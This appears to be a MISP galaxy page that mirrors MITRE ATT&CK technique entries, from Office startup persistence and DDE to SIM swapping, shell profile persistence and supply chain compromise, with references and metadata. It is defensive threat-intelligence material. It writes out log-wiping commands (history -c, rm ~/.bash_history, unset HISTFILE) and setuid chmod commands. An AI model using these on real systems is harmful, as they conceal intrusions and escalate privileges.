Adversaries may leverage Microsoft Office-based applications for persistence between startups. Microsoft Office is a fairly common application suite on Windows-based operating systems within an enterprise network. There are multiple mechanisms that can be used with Office for persistence when an Office-based application is started; this can include the use of Office Template Macros and add-ins.
A variety of features have been discovered in Outlook that can be abused to obtain persistence, such as Outlook rules, forms, and Home Page.(Citation: SensePost Ruler GitHub) These persistence mechanisms can work within Outlook or be used through Office 365.(Citation: TechNet O365 Outlook Rules)
Internal MISP references
UUID 2c4d4e92-0ccf-4a97-b54c-86d662988a53 which can be used as unique global reference for Office Application Startup - T1137 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1137 - webarchive
- https://blogs.technet.microsoft.com/office365security/defending-against-rules-and-forms-injection/ - webarchive
- https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack - webarchive
- https://github.com/sensepost/notruler - webarchive
- https://github.com/sensepost/ruler - webarchive
- https://malware.news/t/using-outlook-forms-for-lateral-movement-and-persistence/13746 - webarchive
- https://medium.com/@bwtech789/outlook-today-homepage-persistence-33ea9b505943 - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1137 |
| kill_chain | ['attack-Windows:persistence', 'attack-Office-365:persistence'] |
| mitre_data_sources | ['Application Log: Application Log Content', 'Command: Command Execution', 'File: File Creation', 'File: File Modification', 'Module: Module Load', 'Process: Process Creation', 'Windows Registry: Windows Registry Key Creation', 'Windows Registry: Windows Registry Key Modification'] |
| mitre_platforms | ['Windows', 'Office 365'] |
Dynamic Data Exchange - T1173
Windows Dynamic Data Exchange (DDE) is a client-server protocol for one-time and/or continuous inter-process communication (IPC) between applications. Once a link is established, applications can autonomously exchange transactions consisting of strings, warm data links (notifications when a data item changes), hot data links (duplications of changes to a data item), and requests for command execution.
Object Linking and Embedding (OLE), or the ability to link data between documents, was originally implemented through DDE. Despite being superseded by COM, DDE may be enabled in Windows 10 and most of Microsoft Office 2016 via Registry keys. (Citation: BleepingComputer DDE Disabled in Word Dec 2017) (Citation: Microsoft ADV170021 Dec 2017) (Citation: Microsoft DDE Advisory Nov 2017)
Adversaries may use DDE to execute arbitrary commands. Microsoft Office documents can be poisoned with DDE commands (Citation: SensePost PS DDE May 2016) (Citation: Kettle CSV DDE Aug 2014), directly or through embedded files (Citation: Enigma Reviving DDE Jan 2018), and used to deliver execution via phishing campaigns or hosted Web content, avoiding the use of Visual Basic for Applications (VBA) macros. (Citation: SensePost MacroLess DDE Oct 2017) DDE could also be leveraged by an adversary operating on a compromised machine who does not have direct access to command line execution.
Internal MISP references
UUID edbe24e9-aec4-4994-ac75-6a6bc7f1ddd0 which can be used as unique global reference for Dynamic Data Exchange - T1173 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1173 - webarchive
- https://blog.nviso.be/2017/10/11/detecting-dde-in-ms-office-documents/ - webarchive
- https://portal.msrc.microsoft.com/security-guidance/advisory/ADV170021 - webarchive
- https://posts.specterops.io/reviving-dde-using-onenote-and-excel-for-code-execution-d7226864caee - webarchive
- https://sensepost.com/blog/2016/powershell-c-sharp-and-dde-the-power-within/ - webarchive
- https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/ - webarchive
- https://technet.microsoft.com/library/security/4053440 - webarchive
- https://www.bleepingcomputer.com/news/microsoft/microsoft-disables-dde-feature-in-word-to-prevent-further-malware-attacks/ - webarchive
- https://www.contextis.com/blog/comma-separated-vulnerabilities - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1173 |
| kill_chain | ['attack-Windows:execution'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Obfuscate operational infrastructure - T1318
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
Obfuscation is hiding the day-to-day building and testing of new tools, chat servers, etc. (Citation: DellComfooMasters)
Internal MISP references
UUID 9d234df0-2344-4db4-bc0f-8de9c6c071a7 which can be used as unique global reference for Obfuscate operational infrastructure - T1318 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1318 |
| kill_chain | ['pre-attack:adversary-opsec'] |
SIM Card Swap - T1451
An adversary could convince the mobile network operator (e.g. through social networking, forged identification, or insider attacks performed by trusted employees) to issue a new SIM card and associate it with an existing phone number and account.(Citation: NYGov-Simswap)(Citation: Motherboard-Simswap2) The adversary could then obtain SMS messages or hijack phone calls intended for someone else.(Citation: Betanews-Simswap)
One use case is intercepting authentication messages or phone calls to obtain illicit access to online banking or other online accounts, as many online services allow account password resets by sending an authentication code over SMS to a phone number associated with the account.(Citation: Guardian-Simswap)(Citation: Motherboard-Simswap1)(Citation: Krebs-SimSwap)(Citation: TechCrunch-SimSwap)
Internal MISP references
UUID a64a820a-cb21-471f-920c-506a2ff04fa5 which can be used as unique global reference for SIM Card Swap - T1451 in MISP communities and other software using the MISP galaxy
External references
- http://betanews.com/2016/02/12/everything-you-need-to-know-about-sim-swap-scams/ - webarchive
- http://www.dos.ny.gov/consumerprotection/scams/att-sim.html - webarchive
- https://attack.mitre.org/techniques/T1451 - webarchive
- https://krebsonsecurity.com/2018/05/t-mobile-employee-made-unauthorized-sim-swap-to-steal-instagram-account/ - webarchive
- https://motherboard.vice.com/en_us/article/3ky5a5/criminals-recruit-telecom-employees-sim-swapping-port-out-scam - webarchive
- https://motherboard.vice.com/en_us/article/vbqax3/hackers-sim-swapping-steal-phone-numbers-instagram-bitcoin - webarchive
- https://pages.nist.gov/mobile-threat-catalogue/stack-threats/STA-22.html - webarchive
- https://techcrunch.com/2017/08/23/i-was-hacked/ - webarchive
- https://www.theguardian.com/money/2016/apr/16/sim-swap-fraud-mobile-banking-fraudsters - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1451 |
| kill_chain | ['mobile-attack-Android:network-effects', 'mobile-attack-iOS:network-effects'] |
| mitre_platforms | ['Android', 'iOS'] |
URL Scheme Hijacking - T1415
An iOS application may be able to maliciously claim a URL scheme, allowing it to intercept calls that are meant for a different application(Citation: FireEye-Masque2)(Citation: Dhanjani-URLScheme). This technique, for example, could be used to capture OAuth authorization codes(Citation: IETF-PKCE) or to phish user credentials(Citation: MobileIron-XARA).
Internal MISP references
UUID 8f142a25-f6c3-4520-bd50-2ae3ab50ed3e which can be used as unique global reference for URL Scheme Hijacking - T1415 in MISP communities and other software using the MISP galaxy
External references
- http://www.dhanjani.com/blog/2010/11/insecure-handling-of-url-schemes-in-apples-ios.html - webarchive
- https://attack.mitre.org/techniques/T1415 - webarchive
- https://pages.nist.gov/mobile-threat-catalogue/authentication-threats/AUT-10.html - webarchive
- https://tools.ietf.org/html/rfc7636 - webarchive
- https://www.fireeye.com/blog/threat-research/2015/02/ios_masque_attackre.html - webarchive
- https://www.mobileiron.com/en/smartwork-blog/ios-url-scheme-hijacking-xara-attack-analysis-and-countermeasures - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1415 |
| kill_chain | ['mobile-attack-iOS:credential-access'] |
| mitre_platforms | ['iOS'] |
Clear Command History - T1146
In addition to clearing system logs, an adversary may clear the command history of a compromised account to conceal the actions undertaken during an intrusion. macOS and Linux both keep track of the commands users type in their terminal so that users can retrace what they've done. These logs can be accessed in a few different ways. While logged in, this command history is tracked in a file pointed to by the environment variable HISTFILE. When a user logs off a system, this information is flushed to a file in the user's home directory called ~/.bash_history. The benefit of this is that it allows users to go back to commands they've used before in different sessions. Since everything typed on the command-line is saved, passwords passed in on the command line are also saved. Adversaries can abuse this by searching these files for cleartext passwords. Additionally, adversaries can use a variety of methods to prevent their own commands from appear in these logs such as unset HISTFILE, export HISTFILESIZE=0, history -c, rm ~/.bash_history.
Internal MISP references
UUID d3046a90-580c-4004-8208-66915bc29830 which can be used as unique global reference for Clear Command History - T1146 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1146 |
| kill_chain | ['attack-Linux:defense-evasion', 'attack-macOS:defense-evasion'] |
| mitre_platforms | ['Linux', 'macOS'] |
Related clusters
To see the related clusters, click here.
System Location Discovery - T1614
Adversaries may gather information in an attempt to calculate the geographical location of a victim host. Adversaries may use the information from System Location Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Adversaries may attempt to infer the location of a system using various system checks, such as time zone, keyboard layout, and/or language settings.(Citation: FBI Ragnar Locker 2020)(Citation: Sophos Geolocation 2016)(Citation: Bleepingcomputer RAT malware 2020) Windows API functions such as GetLocaleInfoW can also be used to determine the locale of the host.(Citation: FBI Ragnar Locker 2020) In cloud environments, an instance's availability zone may also be discovered by accessing the instance metadata service from the instance.(Citation: AWS Instance Identity Documents)(Citation: Microsoft Azure Instance Metadata 2021)
Adversaries may also attempt to infer the location of a victim host using IP addressing, such as via online geolocation IP-lookup services.(Citation: Securelist Trasparent Tribe 2020)(Citation: Sophos Geolocation 2016)
Internal MISP references
UUID c877e33f-1df6-40d6-b1e7-ce70f16f4979 which can be used as unique global reference for System Location Discovery - T1614 in MISP communities and other software using the MISP galaxy
External references
- https://assets.documentcloud.org/documents/20413525/fbi-flash-indicators-of-compromise-ragnar-locker-ransomware-11192020-bc.pdf - webarchive
- https://attack.mitre.org/techniques/T1614 - webarchive
- https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-identity-documents.html - webarchive
- https://docs.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service?tabs=windows - webarchive
- https://news.sophos.com/en-us/2016/05/03/location-based-ransomware-threat-research/ - webarchive
- https://securelist.com/transparent-tribe-part-1/98127/ - webarchive
- https://www.bleepingcomputer.com/news/security/new-rat-malware-gets-commands-via-discord-has-ransomware-feature/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1614 |
| kill_chain | ['attack-Windows:discovery', 'attack-Linux:discovery', 'attack-macOS:discovery', 'attack-IaaS:discovery'] |
| mitre_data_sources | ['Command: Command Execution', 'Process: OS API Execution', 'Process: Process Creation'] |
| mitre_platforms | ['Windows', 'Linux', 'macOS', 'IaaS'] |
Password Filter DLL - T1174
Windows password filters are password policy enforcement mechanisms for both domain and local accounts. Filters are implemented as dynamic link libraries (DLLs) containing a method to validate potential passwords against password policies. Filter DLLs can be positioned on local computers for local accounts and/or domain controllers for domain accounts.
Before registering new passwords in the Security Accounts Manager (SAM), the Local Security Authority (LSA) requests validation from each registered filter. Any potential changes cannot take effect until every registered filter acknowledges validation.
Adversaries can register malicious password filters to harvest credentials from local computers and/or entire domains. To perform proper validation, filters must receive plain-text credentials from the LSA. A malicious password filter would receive these plain-text credentials every time a password request is made. (Citation: Carnal Ownage Password Filters Sept 2013)
Internal MISP references
UUID b8c5c9dd-a662-479d-9428-ae745872537c which can be used as unique global reference for Password Filter DLL - T1174 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1174 |
| kill_chain | ['attack-Windows:credential-access'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Device Type Discovery - T1419
On Android, device type information is accessible to apps through the android.os.Build class (Citation: Android-Build). Device information could be used to target privilege escalation exploits.
Internal MISP references
UUID 89fcd02f-62dc-40b9-a54b-9ac4b1baef05 which can be used as unique global reference for Device Type Discovery - T1419 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1419 |
| kill_chain | ['mobile-attack-Android:discovery'] |
| mitre_platforms | ['Android'] |
Spearphishing via Service - T1194
Spearphishing via service is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of third party services rather than directly via enterprise email channels.
All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services. These services are more likely to have a less-strict security policy than an enterprise. As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target's interest in some way. Adversaries will create fake social media accounts and message employees for potential job opportunities. Doing so allows a plausible reason for asking about services, policies, and software that's running in an environment. The adversary can then send malicious links or attachments through these services.
A common example is to build rapport with a target via social media, then send content to a personal webmail service that the target uses on their work computer. This allows an adversary to bypass some email restrictions on the work account, and the target is more likely to open the file since it's something they were expecting. If the payload doesn't work as expected, the adversary can continue normal communications and troubleshoot with the target on how to get it working.
Internal MISP references
UUID d3df754e-997b-4cf9-97d4-70feb3120847 which can be used as unique global reference for Spearphishing via Service - T1194 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1194 |
| kill_chain | ['attack-Windows:initial-access', 'attack-macOS:initial-access', 'attack-Linux:initial-access'] |
| mitre_platforms | ['Windows', 'macOS', 'Linux'] |
Related clusters
To see the related clusters, click here.
Cloud Administration Command - T1651
Adversaries may abuse cloud management services to execute commands within virtual machines. Resources such as AWS Systems Manager, Azure RunCommand, and Runbooks allow users to remotely run scripts in virtual machines by leveraging installed virtual machine agents. (Citation: AWS Systems Manager Run Command)(Citation: Microsoft Run Command)
If an adversary gains administrative access to a cloud environment, they may be able to abuse cloud management services to execute commands in the environment’s virtual machines. Additionally, an adversary that compromises a service provider or delegated administrator account may similarly be able to leverage a Trusted Relationship to execute commands in connected virtual machines.(Citation: MSTIC Nobelium Oct 2021)
Internal MISP references
UUID d94b3ae9-8059-4989-8e9f-ea0f601f80a7 which can be used as unique global reference for Cloud Administration Command - T1651 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1651 - webarchive
- https://docs.aws.amazon.com/systems-manager/latest/userguide/run-command.html - webarchive
- https://learn.microsoft.com/en-us/azure/virtual-machines/run-command-overview - webarchive
- https://www.microsoft.com/security/blog/2021/10/25/nobelium-targeting-delegated-administrative-privileges-to-facilitate-broader-attacks/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1651 |
| kill_chain | ['attack-IaaS:execution'] |
| mitre_data_sources | ['Command: Command Execution', 'Process: Process Creation', 'Script: Script Execution'] |
| mitre_platforms | ['IaaS'] |
Group Policy Discovery - T1615
Adversaries may gather information on Group Policy settings to identify paths for privilege escalation, security measures applied within a domain, and to discover patterns in domain objects that can be manipulated or used to blend in the environment. Group Policy allows for centralized management of user and computer settings in Active Directory (AD). Group policy objects (GPOs) are containers for group policy settings made up of files stored within a predictable network path \<DOMAIN>\SYSVOL\<DOMAIN>\Policies\.(Citation: TechNet Group Policy Basics)(Citation: ADSecurity GPO Persistence 2016)
Adversaries may use commands such as gpresult or various publicly available PowerShell functions, such as Get-DomainGPO and Get-DomainGPOLocalGroup, to gather information on Group Policy settings.(Citation: Microsoft gpresult)(Citation: Github PowerShell Empire) Adversaries may use this information to shape follow-on behaviors, including determining potential attack paths within the target network as well as opportunities to manipulate Group Policy settings (i.e. Domain or Tenant Policy Modification) for their benefit.
Internal MISP references
UUID 1b20efbf-8063-4fc3-a07d-b575318a301b which can be used as unique global reference for Group Policy Discovery - T1615 in MISP communities and other software using the MISP galaxy
External references
- https://adsecurity.org/?p=2716 - webarchive
- https://attack.mitre.org/techniques/T1615 - webarchive
- https://blogs.technet.microsoft.com/musings_of_a_technical_tam/2012/02/13/group-policy-basics-part-1-understanding-the-structure-of-a-group-policy-object/ - webarchive
- https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/gpresult - webarchive
- https://github.com/PowerShellEmpire/Empire - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1615 |
| kill_chain | ['attack-Windows:discovery'] |
| mitre_data_sources | ['Active Directory: Active Directory Object Access', 'Command: Command Execution', 'Network Traffic: Network Traffic Content', 'Process: Process Creation', 'Script: Script Execution'] |
| mitre_platforms | ['Windows'] |
Malicious Shell Modification - T1156
Adversaries may establish persistence through executing malicious commands triggered by a user’s shell. User shells execute several configuration scripts at different points throughout the session based on events. For example, when a user opens a command line interface or remotely logs in (such as SSH) a login shell is initiated. The login shell executes scripts from the system (/etc) and the user’s home directory (~/) to configure the environment. All login shells on a system use /etc/profile when initiated. These configuration scripts run at the permission level of their directory and are often used to set environment variables, create aliases, and customize the user’s environment. When the shell exits or terminates, additional shell scripts are executed to ensure the shell exits appropriately.
Adversaries may attempt to establish persistence by inserting commands into scripts automatically executed by shells. Using bash as an example, the default shell for most GNU/Linux systems, adversaries may add commands that launch malicious binaries into the /etc/profile and /etc/profile.d files (Citation: intezer-kaiji-malware). These files require root permissions and are executed each time any shell on a system launches. For user level permissions, adversaries can insert malicious commands into ~/.bash_profile, ~/.bash_login, or ~/.profile (Rocke) which are sourced when a user opens a command line interface or connects remotely. Adversaries often use ~/.bash_profile since the system only executes the first file that exists in the listed order. Adversaries have also leveraged the ~/.bashrc file (Tsunami, Rocke, Linux Rabbit, Magento) which is additionally executed if the connection is established remotely or an additional interactive shell is opened, such as a new tab in the command line interface. Some malware targets the termination of a program to trigger execution (Cannon), adversaries can use the ~/.bash_logout file to execute malicious commands at the end of a session(Pearl_shellbot).
For macOS, the functionality of this technique is similar but leverages zsh, the default shell for macOS 10.15+. When the Terminal.app is opened, the application launches a zsh login shell and a zsh interactive shell. The login shell configures the system environment using /etc/profile, /etc/zshenv, /etc/zprofile, and /etc/zlogin. The login shell then configures the user environment with ~/.zprofile and ~/.zlogin. The interactive shell uses the ~/.zshrc to configure the user environment. Upon exiting, /etc/zlogout and ~/.zlogout are executed. For legacy programs, macOS executes /etc/bashrc on startup.
Internal MISP references
UUID 01df3350-ce05-4bdf-bdf8-0a919a66d4a8 which can be used as unique global reference for Malicious Shell Modification - T1156 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1156 |
| kill_chain | ['attack-Linux:persistence', 'attack-macOS:persistence'] |
| mitre_platforms | ['Linux', 'macOS'] |
Related clusters
To see the related clusters, click here.
Browser Session Hijacking - T1185
Adversaries may take advantage of security vulnerabilities and inherent functionality in browser software to change content, modify user-behaviors, and intercept information as part of various browser session hijacking techniques.(Citation: Wikipedia Man in the Browser)
A specific example is when an adversary injects software into a browser that allows them to inherit cookies, HTTP sessions, and SSL client certificates of a user then use the browser as a way to pivot into an authenticated intranet.(Citation: Cobalt Strike Browser Pivot)(Citation: ICEBRG Chrome Extensions) Executing browser-based behaviors such as pivoting may require specific process permissions, such as SeDebugPrivilege and/or high-integrity/administrator rights.
Another example involves pivoting browser traffic from the adversary's browser through the user's browser by setting up a proxy which will redirect web traffic. This does not alter the user's traffic in any way, and the proxy connection can be severed as soon as the browser is closed. The adversary assumes the security context of whichever browser process the proxy is injected into. Browsers typically create a new process for each tab that is opened and permissions and certificates are separated accordingly. With these permissions, an adversary could potentially browse to any resource on an intranet, such as Sharepoint or webmail, that is accessible through the browser and which the browser has sufficient permissions. Browser pivoting may also bypass security provided by 2-factor authentication.(Citation: cobaltstrike manual)
Internal MISP references
UUID 544b0346-29ad-41e1-a808-501bb4193f47 which can be used as unique global reference for Browser Session Hijacking - T1185 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1185 - webarchive
- https://en.wikipedia.org/wiki/Man-in-the-browser - webarchive
- https://web.archive.org/web/20210825130434/https://cobaltstrike.com/downloads/csmanual38.pdf - webarchive
- https://www.cobaltstrike.com/help-browser-pivoting - webarchive
- https://www.icebrg.io/blog/malicious-chrome-extensions-enable-criminals-to-impact-over-half-a-million-users-and-global-businesses - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1185 |
| kill_chain | ['attack-Windows:collection'] |
| mitre_data_sources | ['Logon Session: Logon Session Creation', 'Process: Process Access', 'Process: Process Modification'] |
| mitre_platforms | ['Windows'] |
Supply Chain Compromise - T1195
Adversaries may manipulate products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise.
Supply chain compromise can take place at any stage of the supply chain including:
- Manipulation of development tools
- Manipulation of a development environment
- Manipulation of source code repositories (public or private)
- Manipulation of source code in open-source dependencies
- Manipulation of software update/distribution mechanisms
- Compromised/infected system images (multiple cases of removable media infected at the factory)(Citation: IBM Storwize)(Citation: Schneider Electric USB Malware)
- Replacement of legitimate software with modified versions
- Sales of modified/counterfeit products to legitimate distributors
- Shipment interdiction
While supply chain compromise can impact any component of hardware or software, adversaries looking to gain execution have often focused on malicious additions to legitimate software in software distribution or update channels.(Citation: Avast CCleaner3 2018)(Citation: Microsoft Dofoil 2018)(Citation: Command Five SK 2011) Targeting may be specific to a desired victim set or malicious software may be distributed to a broad set of consumers but only move on to additional tactics on specific victims.(Citation: Symantec Elderwood Sept 2012)(Citation: Avast CCleaner3 2018)(Citation: Command Five SK 2011) Popular open source projects that are used as dependencies in many applications may also be targeted as a means to add malicious code to users of the dependency.(Citation: Trendmicro NPM Compromise)
Internal MISP references
UUID 3f18edba-28f4-4bb9-82c3-8aa60dcac5f7 which can be used as unique global reference for Supply Chain Compromise - T1195 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1195 - webarchive
- https://blog.avast.com/new-investigations-in-ccleaner-incident-point-to-a-possible-third-stage-that-had-keylogger-capacities - webarchive
- https://cloudblogs.microsoft.com/microsoftsecure/2018/03/07/behavior-monitoring-combined-with-machine-learning-spoils-a-massive-dofoil-coin-mining-campaign/ - webarchive
- https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf - webarchive
- https://www-01.ibm.com/support/docview.wss?uid=ssg1S1010146&myns=s028&mynp=OCSTHGUJ&mynp=OCSTLM5A&mynp=OCSTLM6B&mynp=OCHW206&mync=E&cm_sp=s028--OCSTHGUJ-OCSTLM5A-OCSTLM6B-OCHW206--E - webarchive
- https://www.commandfive.com/papers/C5_APT_SKHack.pdf - webarchive
- https://www.se.com/ww/en/download/document/SESN-2018-236-01/ - webarchive
- https://www.trendmicro.com/vinfo/dk/security/news/cybercrime-and-digital-threats/hacker-infects-node-js-package-to-steal-from-bitcoin-wallets - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1195 |
| kill_chain | ['attack-Linux:initial-access', 'attack-Windows:initial-access', 'attack-macOS:initial-access'] |
| mitre_data_sources | ['File: File Metadata', 'Sensor Health: Host Status'] |
| mitre_platforms | ['Linux', 'Windows', 'macOS'] |
Setuid and Setgid - T1166
When the setuid or setgid bits are set on Linux or macOS for an application, this means that the application will run with the privileges of the owning user or group respectively (Citation: setuid man page). Normally an application is run in the current user’s context, regardless of which user or group owns the application. There are instances where programs need to be executed in an elevated context to function properly, but the user running them doesn’t need the elevated privileges. Instead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications. These bits are indicated with an "s" instead of an "x" when viewing a file's attributes via ls -l. The chmod program can set these bits with via bitmasking, chmod 4777 [file] or via shorthand naming, chmod u+s [file].
An adversary can take advantage of this to either do a shell escape or exploit a vulnerability in an application with the setsuid or setgid bits to get code running in a different user’s context. Additionally, adversaries can use this mechanism on their own malware to make sure they're able to execute in elevated contexts in the future (Citation: OSX Keydnap malware).
Internal MISP references
UUID c0df6533-30ee-4a4a-9c6d-17af5abdf0b2 which can be used as unique global reference for Setuid and Setgid - T1166 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1166 |
| kill_chain | ['attack-Linux:privilege-escalation', 'attack-macOS:privilege-escalation', 'attack-Linux:persistence', 'attack-macOS:persistence'] |
| mitre_platforms | ['Linux', 'macOS'] |
Related clusters
To see the related clusters, click here.
Local Job Scheduling - T1168
On Linux and macOS systems, multiple methods are supported for creating pre-scheduled and periodic background jobs: cron, (Citation: Die.net Linux crontab Man Page) at, (Citation: Die.net Linux at Man Page) and launchd. (Citation: AppleDocs Scheduling Timed Jobs) Unlike Scheduled Task/Job on Windows systems, job scheduling on Linux-based systems cannot be done remotely unless used in conjunction within an established remote session, like secure shell (SSH).
cron
System-wide cron jobs are installed by modifying /etc/crontab file, /etc/cron.d/ directory or other locations supported by the Cron daemon, while per-user cron jobs are installed using crontab with specifically formatted crontab files. (Citation: AppleDocs Scheduling Timed Jobs) This works on macOS and Linux systems.
Those methods allow for commands or scripts to be executed at specific, periodic intervals in the background without user interaction. An adversary may use job scheduling to execute programs at system startup or on a scheduled basis for Persistence, (Citation: Janicab) (Citation: Methods of Mac Malware Persistence) (Citation: Malware Persistence on OS X) (Citation: Avast Linux Trojan Cron Persistence) to conduct Execution as part of Lateral Movement, to gain root privileges, or to run a process under the context of a specific account.
at
The at program is another means on POSIX-based systems, including macOS and Linux, to schedule a program or script job for execution at a later date and/or time, which could also be used for the same purposes.
launchd
Each launchd job is described by a different configuration property list (plist) file similar to Launch Daemon or Launch Agent, except there is an additional key called StartCalendarInterval with a dictionary of time values. (Citation: AppleDocs Scheduling Timed Jobs) This only works on macOS and OS X.
Internal MISP references
UUID c0a384a4-9a25-40e1-97b6-458388474bc8 which can be used as unique global reference for Local Job Scheduling - T1168 in MISP communities and other software using the MISP galaxy
External references
- http://www.thesafemac.com/new-signed-malware-called-janicab/ - webarchive
- https://attack.mitre.org/techniques/T1168 - webarchive
- https://blog.avast.com/2015/01/06/linux-ddos-trojan-hiding-itself-with-an-embedded-rootkit/ - webarchive
- https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/ScheduledJobs.html - webarchive
- https://linux.die.net/man/1/at - webarchive
- https://linux.die.net/man/5/crontab - webarchive
- https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1168 |
| kill_chain | ['attack-Linux:persistence', 'attack-macOS:persistence', 'attack-Linux:execution', 'attack-macOS:execution'] |
| mitre_platforms | ['Linux', 'macOS'] |
Related clusters
To see the related clusters, click here.
Control Panel Items - T1196
Windows Control Panel items are utilities that allow users to view and adjust computer settings. Control Panel items are registered executable (.exe) or Control Panel (.cpl) files, the latter are actually renamed dynamic-link library (.dll) files that export a CPlApplet function. (Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014) Control Panel items can be executed directly from the command line, programmatically via an application programming interface (API) call, or by simply double-clicking the file. (Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014) (Citation: TrendMicro CPL Malware Dec 2013)
For ease of use, Control Panel items typically include graphical menus available to users after being registered and loaded into the Control Panel. (Citation: Microsoft Implementing CPL)
Adversaries can use Control Panel items as execution payloads to execute arbitrary commands. Malicious Control Panel items can be delivered via Spearphishing Attachment campaigns (Citation: TrendMicro CPL Malware Jan 2014) (Citation: TrendMicro CPL Malware Dec 2013) or executed as part of multi-stage malware. (Citation: Palo Alto Reaver Nov 2017) Control Panel items, specifically CPL files, may also bypass application and/or file extension whitelisting.
Internal MISP references
UUID 8df54627-376c-487c-a09c-7d2b5620f56e which can be used as unique global reference for Control Panel Items - T1196 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1196 - webarchive
- https://blog.trendmicro.com/trendlabs-security-intelligence/control-panel-files-used-as-malicious-attachments/ - webarchive
- https://msdn.microsoft.com/library/windows/desktop/cc144185.aspx - webarchive
- https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/ - webarchive
- https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1196 |
| kill_chain | ['attack-Windows:defense-evasion', 'attack-Windows:execution'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
C2 protocol development - T1352
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
Command and Control (C2 or C&C) is a method by which the adversary communicates with malware. An adversary may use a variety of protocols and methods to execute C2 such as a centralized server, peer to peer, IRC, compromised web sites, or even social media. (Citation: HAMMERTOSS2015)
Internal MISP references
UUID 8e211ec9-5dfc-4915-aff4-84d5908f0336 which can be used as unique global reference for C2 protocol development - T1352 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1352 |
| kill_chain | ['pre-attack:build-capabilities'] |
Compiled HTML File - T1223
Compiled HTML files (.chm) are commonly distributed as part of the Microsoft HTML Help system. CHM files are compressed compilations of various content such as HTML documents, images, and scripting/web related programming languages such VBA, JScript, Java, and ActiveX. (Citation: Microsoft HTML Help May 2018) CHM content is displayed using underlying components of the Internet Explorer browser (Citation: Microsoft HTML Help ActiveX) loaded by the HTML Help executable program (hh.exe). (Citation: Microsoft HTML Help Executable Program)
Adversaries may abuse this technology to conceal malicious code. A custom CHM file containing embedded payloads could be delivered to a victim then triggered by User Execution. CHM execution may also bypass application whitelisting on older and/or unpatched systems that do not account for execution of binaries through hh.exe. (Citation: MsitPros CHM Aug 2017) (Citation: Microsoft CVE-2017-8625 Aug 2017)
Internal MISP references
UUID d21a2069-23d5-4043-ad6d-64f6b644cb1a which can be used as unique global reference for Compiled HTML File - T1223 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1223 - webarchive
- https://docs.microsoft.com/previous-versions/windows/desktop/htmlhelp/microsoft-html-help-1-4-sdk - webarchive
- https://msdn.microsoft.com/windows/desktop/ms524405 - webarchive
- https://msdn.microsoft.com/windows/desktop/ms644670 - webarchive
- https://msitpros.com/?p=3909 - webarchive
- https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8625 - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1223 |
| kill_chain | ['attack-Windows:defense-evasion', 'attack-Windows:execution'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
